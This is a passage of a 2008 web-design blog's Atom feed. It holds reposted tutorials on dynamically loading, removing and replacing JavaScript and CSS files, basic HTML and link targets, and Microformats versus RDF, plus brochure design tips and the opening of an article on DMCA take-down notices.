targetattr=(filetype=="js")? "src" : (filetype=="css")? "href" : "none" //determine corresponding attribute to test for&lt;br /&gt; var allsuspects=document.getElementsByTagName(targetelement)&lt;br /&gt; for (var i=allsuspects.length; i&gt;=0; i--){ //search backwards within nodelist for matching elements to remove&lt;br /&gt;  if (allsuspects[i] &amp;&amp; allsuspects[i].getAttribute(targetattr)!=null &amp;&amp; allsuspects[i].getAttribute(targetattr).indexOf(filename)!=-1)&lt;br /&gt;   allsuspects[i].parentNode.removeChild(allsuspects[i]) //remove element by calling parentNode.removeChild()&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;removejscssfile("somescript.js", "js") //remove all occurences of "somescript.js" on page&lt;br /&gt;removejscssfile("somestyle.css", "css") //remove all occurences "somestyle.css" on page&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;The function starts out by creating a collection out of either all "SCRIPT" or "LINK" elements on the page depending on the desired file type to remove. The corresponding attribute to look at also changes accordingly ("src" or "href" attribute). Then, the function sets out to loop through the gathered elements backwards to see if any of them match the name of the file that should be removed. There's a reason for the reversed direction- if/whenever an identified element is deleted, the collection collapses by one element each time, and to continue to cycle through the new collection correctly, reversing the direction does the trick (it may encounter undefined elements, hence the first check for allsuspects[i] in the if statement). Now, to delete the identified element, the DOM method  parentNode.removeChild() is called on it.&lt;br /&gt;&lt;br /&gt;So what actually happens when you remove an external JavaScript or CSS file? Perhaps not entirely what you would expect actually. In the case of JavaScript, while the element is removed from the document tree, any code loaded as part of the external JavaScript file remains in the browser's memory. That is to say, you can still access variables, functions etc that were added when the external file first loaded (at least in IE7 and Firefox 2.x). If you're looking to reclaim browser memory by removing an external JavaScript, don't rely on this operation to do all your work. With external CSS files, when you remove a file, the document does reflow to take into account the removed CSS rules, but unfortunately, not in IE7 (Firefox 2.x and Opera 9 do).&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Dynamically replacing an external JavaScript or CSS file&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Replacing an external JavaScript or CSS file isn't much different than removing one as far as the process goes. Instead of calling  parentNode.removeChild(), you'll be using  parentNode.replaceChild() to do the bidding instead:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;function createjscssfile(filename, filetype){&lt;br /&gt; if (filetype=="js"){ //if filename is a external JavaScript file&lt;br /&gt;  var fileref=document.createElement('script')&lt;br /&gt;  fileref.setAttribute("type","text/javascript")&lt;br /&gt;  fileref.setAttribute("src", filename)&lt;br /&gt; }&lt;br /&gt; else if (filetype=="css"){ //if filename is an external CSS file&lt;br /&gt;  var fileref=document.createElement("link")&lt;br /&gt;  fileref.setAttribute("rel", "stylesheet")&lt;br /&gt;  fileref.setAttribute("type", "text/css")&lt;br /&gt;  fileref.setAttribute("href", filename)&lt;br /&gt; }&lt;br /&gt; return fileref&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function replacejscssfile(oldfilename, newfilename, filetype){&lt;br /&gt; var targetelement=(filetype=="js")? "script" : (filetype=="css")? "link" : "none" //determine element type to create nodelist using&lt;br /&gt; var targetattr=(filetype=="js")? "src" : (filetype=="css")? "href" : "none" //determine corresponding attribute to test for&lt;br /&gt; var allsuspects=document.getElementsByTagName(targetelement)&lt;br /&gt; for (var i=allsuspects.length; i&gt;=0; i--){ //search backwards within nodelist for matching elements to remove&lt;br /&gt;  if (allsuspects[i] &amp;&amp; allsuspects[i].getAttribute(targetattr)!=null &amp;&amp; allsuspects[i].getAttribute(targetattr).indexOf(oldfilename)!=-1){&lt;br /&gt;   var newelement=createjscssfile(newfilename, filetype)&lt;br /&gt;   allsuspects[i].parentNode.replaceChild(newelement, allsuspects[i])&lt;br /&gt;  }&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;replacejscssfile("oldscript.js", "newscript.js", "js") //Replace all occurences of "oldscript.js" with "newscript.js"&lt;br /&gt;replacejscssfile("oldstyle.css", "newstyle", "css") //Replace all occurences "oldstyle.css" with "newstyle.css"&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Notice the helper function createjscssfile(), which is essentially just a duplicate of loadjscssfile() as seen on the previous page, but modified to return the newly created element instead of actually adding it to the page. It comes in handy when  parentNode.replaceChild() is called in replacejscssfile() to replace the old element with the new. Some good news here- when you replace one external CSS file with another, all browsers, including IE7, will reflow the document automatically to take into account the new file's CSS rules.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Conclusion&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;So when is all this useful? Well, in today's world of Ajax&lt;br /&gt;and ever larger web applications&lt;br /&gt;, being able to load accompanying JavaScript/ CSS files asynchronously and on demand is not only handy, but in some cases, necessary. Have fun finding out what they are, or implementing the technique. :)&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.javascriptkit.com/javatutors/loadjavascriptcss2.shtml"&gt;Article Source&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-880293579534107079?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/880293579534107079/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=880293579534107079' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/880293579534107079'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/880293579534107079'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/10/dynamically-removing-replacing-external.html' title='Dynamically removing/ replacing an external JavaScript or CSS file'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-5521148918324934405</id><published>2008-10-29T04:01:00.000-07:00</published><updated>2008-10-29T04:08:58.708-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='javascript tips'/><category scheme='http://www.blogger.com/atom/ns#' term='css'/><title type='text'>Dynamically loading an external JavaScript or CSS file</title><content type='html'>The conventional way to loading external JavaScript (ie: .js) and CSS (ie: .css) files on a page is to stick a reference to them in the HEAD section of your page, for example:&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;blockquote&gt;&amp;lt;head&amp;gt;&lt;br /&gt;&amp;lt;script type="text/javascript" src="myscript.js"&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;link rel="stylesheet" type="text/css" href="main.css" /&amp;gt;&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Files that are called this way are added to the page as they are encountered in the page's source, or synchronously. For the most part, this setup meets our needs just fine, though in the world of synchronous Ajax design patterns, the ability to also fire up JavaScript/ CSS on demand&lt;br /&gt;is becoming more and more handy. In this tutorial, lets see how it's done.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Dynamically loading external JavaScript and CSS files&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To load a .js or .css file dynamically, in a nutshell, it means using DOM methods to first create a swanky new "SCRIPT" or "LINK" element, assign it the appropriate attributes, and finally, use element.appendChild() to add the element to the desired location within the document tree. It sounds a lot more fancy than it really is. Lets see how it all comes together:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;function loadjscssfile(filename, filetype){&lt;br /&gt; if (filetype=="js"){ //if filename is a external JavaScript file&lt;br /&gt;  var fileref=document.createElement('script')&lt;br /&gt;  fileref.setAttribute("type","text/javascript")&lt;br /&gt;  fileref.setAttribute("src", filename)&lt;br /&gt; }&lt;br /&gt; else if (filetype=="css"){ //if filename is an external CSS file&lt;br /&gt;  var fileref=document.createElement("link")&lt;br /&gt;  fileref.setAttribute("rel", "stylesheet")&lt;br /&gt;  fileref.setAttribute("type", "text/css")&lt;br /&gt;  fileref.setAttribute("href", filename)&lt;br /&gt; }&lt;br /&gt; if (typeof fileref!="undefined")&lt;br /&gt;  document.getElementsByTagName("head")[0].appendChild(fileref)&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;loadjscssfile("myscript.js", "js") //dynamically load and add this .js file&lt;br /&gt;loadjscssfile("javascript.php", "js") //dynamically load "javascript.php" as a JavaScript file&lt;br /&gt;loadjscssfile("mystyle.css", "css") ////dynamically load and add this .css file&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Since external JavaScript and CSS files can technically end with any custom file extension (ie: "javascript.php"), the function parameter "filetype" lets you tell the script what file type to expect before loading. After that, the function sets out to create the element using the appropriate DOM methods, assign it the proper attributes, and finally, add it to the end of the HEAD section. Now, where the created file gets added is worth elaborating on:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;document.getElementsByTagName("head")[0].appendChild(fileref)&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;By referencing the HEAD element of the page first and then calling appendChild(), this means the newly created element is added to the very end of the HEAD tag. Furthermore, you should be aware that no existing element is harmed in the adding of the new element- that is to say, if you call loadjscssfile("myscript.js", "js") twice, you now end up with two new "SCRIPT" elements both pointing to the same JavaScript file. This is problematic only from an efficiency standpoint, as you'll be adding redundant elements to the page and using unnecessary browser memory in the process. A simple way to prevent the same file from being added more than once is to keep track of the files added by loadjscssfile(), and only load a file if it's new:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;var filesadded="" //list of files already added&lt;br /&gt;&lt;br /&gt;function checkloadjscssfile(filename, filetype){&lt;br /&gt; if (filesadded.indexOf("["+filename+"]")==-1){&lt;br /&gt;  loadjscssfile(filename, filetype)&lt;br /&gt;  filesadded+="["+filename+"]" //List of files added in the form "[filename1],[filename2],etc"&lt;br /&gt; }&lt;br /&gt; else&lt;br /&gt;  alert("file already added!")&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;checkloadjscssfile("myscript.js", "js") //success&lt;br /&gt;checkloadjscssfile("myscript.js", "js") //redundant file, so file not added&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Here I'm just crudely detecting to see if a file that's set to be added already exists within a list of added files' names stored in variable  filesadded before deciding whether to proceed or not.&lt;br /&gt;&lt;br /&gt;Ok, moving on, sometimes the situation may require that you actually remove or replace an added .js or .css file. Lets see how that's done next.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.javascriptkit.com/javatutors/loadjavascriptcss.shtml"&gt;Article Source&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-5521148918324934405?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/5521148918324934405/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=5521148918324934405' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/5521148918324934405'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/5521148918324934405'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/10/dynamically-loading-external-javascript.html' title='Dynamically loading an external JavaScript or CSS file'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-8491562285472698789</id><published>2008-10-28T08:13:00.000-07:00</published><updated>2008-10-28T08:20:21.433-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='html'/><title type='text'>Introduction to HTML</title><content type='html'>Are you new to HTML ? OK we will try to learn this language of internet here. HTML stands for Hyper Text Markup Language. You may be knowing other computer languages like C, C++, Basic, Foxpro etc and now one more language in this line is HTML. But there is a difference here, like other languages HTML is not a scripting language or a compiled code for the computers to execute. HTML is mostly consist of tags which we will use in our text document for the web browser to understand. Let us discuss one simple example. We want some part of the following line to be written in bold letters and some part in Italic letters.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;HTML is the language of the internet.&lt;br /&gt;&lt;br /&gt;In your word processor software you can easily do this but please note that there has to be a standard way of doing this which can be easily understood by browser operating at different platforms. So one universal way of formatting the text is required here for easy understanding of browsers operating on across the platforms. So in HTML we will write the above line in this way.&lt;br /&gt;&lt;br /&gt;HTML is the &amp;lt;b&amp;gt;language&amp;lt;/b&amp;gt; of the &amp;lt;i&amp;gt;internet&amp;lt;/i&amp;gt; &lt;br /&gt;&lt;br /&gt;Here once this text is opened by the user browser it can understand the format and it display the text by taking care of the tags used. So the tags plays important role in formatting the text in an html document. The user browser interprets the tags and display in required format.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;View Source of the html page&lt;/span&gt;&lt;br /&gt;As the browsers display the text it gives an option to the user to view the source of the page or the text with tags. This feature is available by visiting View &gt; Source at top menu in internet explorer and View &gt; Page Source in Firefox browser. This way we can see the html formatted text of any site.&lt;br /&gt;&lt;br /&gt;Let us try for your first html page now.&lt;br /&gt;&lt;br /&gt;Open your note pad or any other text editor. Copy and paste the following code inside it. &lt;br /&gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&lt;br /&gt;&amp;lt;title&amp;gt;(Type a title for your page here)&amp;lt;/title&amp;gt;&lt;br /&gt;&amp;lt;META NAME="DESCRIPTION" CONTENT=" "&amp;gt;&lt;br /&gt;&amp;lt;META NAME="KEYWORDS" CONTENT=" "&amp;gt;&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;body &amp;gt;&lt;br /&gt;&lt;br /&gt;Hello &amp;lt;br&amp;gt;&lt;br /&gt;Welcome to plus2net.com&lt;br /&gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;br /&gt;Save this as test.htm. In Win Note pad take care that you enter the file name with quotes like this “test.htm”. Open this file in your browser ( or just double click the file in your file explorer ) .&lt;br /&gt;&lt;br /&gt;You will see a message like this&lt;br /&gt;&lt;br /&gt;Hello&lt;br /&gt;Welcome to plus2net.com&lt;br /&gt;&lt;br /&gt;Note the line break between Hello and Welcome to plus2net.com. We have used one line break tag &lt;br&gt; and browser has placed a line break after reading this line break tag. Now from the browser menu visit View &gt; Source . You can see your original source code there.&lt;br /&gt;&lt;br /&gt;Try to develop more such pages by using different tags.&lt;br /&gt;Discuss this tutorial at forum&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.plus2net.com/html_tutorial/b-guide.php"&gt;Source&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-8491562285472698789?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/8491562285472698789/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=8491562285472698789' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/8491562285472698789'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/8491562285472698789'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/10/introduction-to-html.html' title='Introduction to HTML'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-8706388952975986198</id><published>2008-10-28T08:07:00.000-07:00</published><updated>2008-10-28T08:12:36.938-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='html'/><title type='text'>How to open pages in new window</title><content type='html'>We move from one page to other page of a web site by using hyper links or simply links. These links on clicking opens the new page in same window. Links can have absolute URL or relative URL or the address of the page we want to move. To get the full details on different types of links visit hyper link page.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;While designing hyper links we can create links to open the new page in a new window. This way we can keep the existing window open with out disturbing the current page. In your website you may not like your visitors to click any external link and leave your site. So you can modify the link and tell the browser to open the external site in a new window. Here is a simple link&lt;br /&gt;&lt;br /&gt;&lt;a href=http://www.newsite.com&gt;new site&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;To the above query we will add a new component saying target=new or target = blank. Like this&lt;br /&gt;&lt;br /&gt;&lt;a href=http://www.newsite.com target='_new'&gt;new site&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Or&lt;br /&gt;&lt;br /&gt;&lt;a href=http://www.newsite.com target='_blank'&gt;new site&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Here are two links, one will open the html tutorial list in same page, and other will open the same page by opening a new window.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-8706388952975986198?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/8706388952975986198/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=8706388952975986198' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/8706388952975986198'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/8706388952975986198'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/10/how-to-open-pages-in-new-window.html' title='How to open pages in new window'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-460570041306159793</id><published>2008-10-28T08:03:00.000-07:00</published><updated>2008-10-28T08:06:29.016-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='XHTML'/><category scheme='http://www.blogger.com/atom/ns#' term='Semantic Web'/><title type='text'>Microformats vs. RDF: How Microformats Relate to the Semantic Web</title><content type='html'>Microformats are a wildly popular set of formats for embedding metadata within normal XHTML. The primary advantage Microformats offer over RDF (including its embedded serializations) is that you can embed metadata directly in the XHTML, reducing the amount of markup you need to write (e.g. you don't have to write XHTML and additional RDF). Many people have contended that Microformats are a possible replacement for RDF, however Microformats were not designed to cover the same scope as RDF was. While both Microformats and RDF make it possible to store data about data, they simply do not work to solve the same set of problems.&lt;span class="fullpost"&gt;&lt;span style="font-weight:bold;"&gt;A quick comparison&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I don't blame the Microformats people for this confusion over what Microformats are or are not. Rather, I blame the sensationalists and know-nots that tend to jump on any new standard, format, or design pattern. Directly on the Microformats about page you are told what Microformats are and are not.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;What Microformats were not intended to be:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;    * A new language&lt;br /&gt;    * Infinitely extensible and open-ended&lt;br /&gt;    * An attempt to get everyone to change their behavior and rewrite their tools&lt;br /&gt;    * A whole new approach that throws away what already works today&lt;br /&gt;    * A panacea for all taxonomies, ontologies, and other such abstractions&lt;br /&gt;    * Defining the whole world, or even just boiling the ocean&lt;br /&gt;    * Any of the above &lt;br /&gt;&lt;br /&gt;There you have it, clearly stated and all. I would guess that most of the arguments made by pro-RDF people are extinguished after reading that unordered list. However some people still believe that we can create the Semantic Web with Microformats.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;What RDF allows (and Microformats lacks):&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;    * Resources are represented as URIs, allowing you to access metadata remotely&lt;br /&gt;    * Infinitely extensible and open-ended design&lt;br /&gt;    * A powerful Ontology language (OWL) that is built upon it&lt;br /&gt;    * The ability to utilize, share, and extend any number of vocabularies&lt;br /&gt;    * No reliance on pre-defined "formats" (i.e. not limited by the types of data that can be encoded) &lt;br /&gt;&lt;br /&gt;As you can see there are a few things we can do with RDF that cannot be done with Microformats. The Semantic Web relies on the things I've listed above. These are the clear-cut reasons why Microformats will not be part of the W3C's Semantic Web vision.&lt;br /&gt;Persisting the data within Microformats&lt;br /&gt;&lt;br /&gt;Another issue I've thought about is how we are to persist the data we glean from Microformats. How do you usefully store Microformat metadata (beyond leaving it in its XHTML form)? The information stored in Microformats eventually comes out in triple form, one way or the other. Take a look at this example:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="tel"&gt;&lt;br /&gt; &lt;span class="type"&gt;home&lt;/span&gt;: &lt;br /&gt; &lt;span class="value"&gt;+1.415.555.1212&lt;/span&gt; &lt;br /&gt; &lt;/span&gt; &lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;What information can be gleaned from this example? Well, the home telephone number (of an unknown person or entity, in this example) is +1.415.555.1212. In the end we are still getting the subject-predicate-object form. In this case the subject would be the owner of that number, the predicate would be "home," and the object is the telephone number itself.&lt;br /&gt;&lt;br /&gt;So really, we will likely require triple storage for either RDF or Microformats. In all honesty, I don't know of any Microformat-stores. If you know of some, I would like to know if they are any different from a normal triple-store.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Microformats have a place and a purpose&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;At this point I'd like to say that Microformats do have a number of qualities that RDF (although not necessarily all serializations) does not accommodate for, at least not in the same way:&lt;br /&gt;&lt;br /&gt;    * Designed for humans first, machines second&lt;br /&gt;    * Modularity / embeddability&lt;br /&gt;    * Enables and encourages decentralized development, content, services&lt;br /&gt;    * A design principles for formats&lt;br /&gt;    * Adapted to current behaviors and usage patterns&lt;br /&gt;    * Highly correlated with semantic XHTML &lt;br /&gt;&lt;br /&gt;I've stated before that I believe Microformats will help bring about the Semantic Web by introducing "metadata sprinkling" (the act of including metadata in otherwise "normal" data) to more people. They allow for simple metadata embeddability and do not affect how an XHTML document validates. This is the kind of approach that will help normal users come closer to understanding the Semantic Web vision.&lt;br /&gt;Conclusions&lt;br /&gt;&lt;br /&gt;To me, Microformats are to RDF as HTML 5 is to XHTML; on the surface they both appear to be a solution to the same problem, but the former misses the point as to why the latter was created. On the very same about page I cited earlier there is a bullet point that suggests that Microformats will be part of the semantic web (note the lowercase letters, implying a semantic web, not the one envisioned by the W3C). I find that all competing Semantic Web development paths fall short of creating an entirely linked Semantic Web. The kind of Semantic Web that gives us a platform to stand on above the Web document layer. Microformats have their place, just not as a replacement to RDF.&lt;br /&gt; &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-460570041306159793?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/460570041306159793/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=460570041306159793' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/460570041306159793'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/460570041306159793'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/10/microformats-vs-rdf-how-microformats.html' title='Microformats vs. RDF: How Microformats Relate to the Semantic Web'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-9104220046512353767</id><published>2008-10-28T08:01:00.000-07:00</published><updated>2008-10-28T08:03:00.967-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Brochure Design Tips'/><title type='text'>Brochure Design: Tips and Techniques</title><content type='html'>A brochure is known as the advertising tool that carries eye catching designs and attractive language to attract people to get its proper meaning. Brochures are used to design for the promotion of locations, events, hotels, products and services. Usually, brochures are being distributed in trade shows and through direct mail and can be used for promoting a new product.&lt;br /&gt;&lt;br /&gt; &lt;span class="fullpost"&gt;Brochure design is considered as a tough task for a designer. Due to its importance, brochure has to be designed really very carefully. The best brochure design is that which elaborates ideas perfectly and advocates people to use products or service in which favor a brochure has been formed. So, if you are planning to make a customized brochure design, make sure it reflects your mind clearly and reaches directly to your customers. You can your brochure by yourself or hire a professional brochure designer to make a really effective brochure for your purpose.&lt;br /&gt;&lt;br /&gt;Once you decide to make a brochure, you need to select a good brochure design sample to look really difference from the rest. You may choose something classy and distinguish to attract customers never before. In a brochure, many things need to be kept in mind before designing its structure. First thing which needs to be taken care of is its structure. Structure means what size of brochure should be made, color combination, usually attractive colors are used to clinch peoples' interest. Second is the selection of words, which is really important. Words should be easy to understand, infuses a good meaning and represents your ideology. Third is the selection of graphic designing to be used in the brochure. Graphic design brochure should be carefully done and should look professional and infuse its deep meaning.&lt;br /&gt;&lt;br /&gt;Normally, business people need corporate brochure design to promote their products and services. It is a unique way of attracting customers and retaining old ones to gain stability and raise profit. Brochures are considered as the campaign and marketing printed stuffs to help you to expand your business aspirations beyond the boundaries. Getting brochures fro products and services, a company can invite new customers, maintaining the current ones and earning more and more profit for the business. Brochures are taken as the evidences of the company's genuine offerings and trusted services which it promises. So, till now you haven't designed a good brochure yet, go and design a customized brochure design that says more about your style and above all your mind.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.theitarticles.com/brochure-design-tips-and-techniques/364/"&gt;Article Source&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-9104220046512353767?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/9104220046512353767/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=9104220046512353767' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/9104220046512353767'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/9104220046512353767'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/10/brochure-design-tips-and-techniques.html' title='Brochure Design: Tips and Techniques'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-4349389612742774313</id><published>2008-10-28T07:52:00.000-07:00</published><updated>2008-10-28T08:00:15.610-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Copyright Issue Articles'/><category scheme='http://www.blogger.com/atom/ns#' term='General'/><title type='text'>Web Design and the DMCA: Giving and Getting Take Down Notices</title><content type='html'>Does your client ask you to stand behind the content you create for their site? Most clients worth their salt will, and successful freelance and web design firms know enough about DMCA take-down notices to do so comfortably. Do you?&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;span style="font-weight:bold;"&gt;What is the DMCA?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;    If you get a take-down notice from your web host, client, or content publisher, you should understand the implications of taking down the content. You should also know that the DMCA (17 USC 512) does not provide liability insulation to the mere content creator or publisher.&lt;br /&gt;&lt;br /&gt;The Digital Millennium Copyright Act (the DMCA) is a federal statute that may stop a copyright infringement claim in the United States in its tracks if what you do fits within its definition of a “service provider.” I say “may” because the DMCA statute is very specific, and there are quite a few hoops to jump through. Simply put, the DMCA may help reduce the risk of a lawsuit for copyright infringement, but it will not stop a lawsuit from being filed in every case. What you may need to realize, however, is that the DMCA’s protections do not apply to everyone, and it’s better to find this out sooner than later.&lt;br /&gt;&lt;br /&gt;(NB: The contents of this article are solely concerned with US copyright law. If a non-US entity writes to you about content posted outside of the US, your liability arises from laws outside of the US, and the DMCA will provide absolutely no insulation unless a claim arises under the US Copyright Act.)&lt;br /&gt;&lt;br /&gt;The DMCA provides a mechanism for an owner of copyrightable material to send a demand—a take-down notice—to a service provider, demanding removal of copyrightable material that is uploaded or displayed without authorization. If the service provider accused of hosting or displaying the material follows the take-down requirements, it can obtain insulation from a claim for money (called a claim for monetary damages), or a claim for injunctive relief. &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Does it affect me?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;If you are a service provider&lt;/span&gt;, including a web host, content 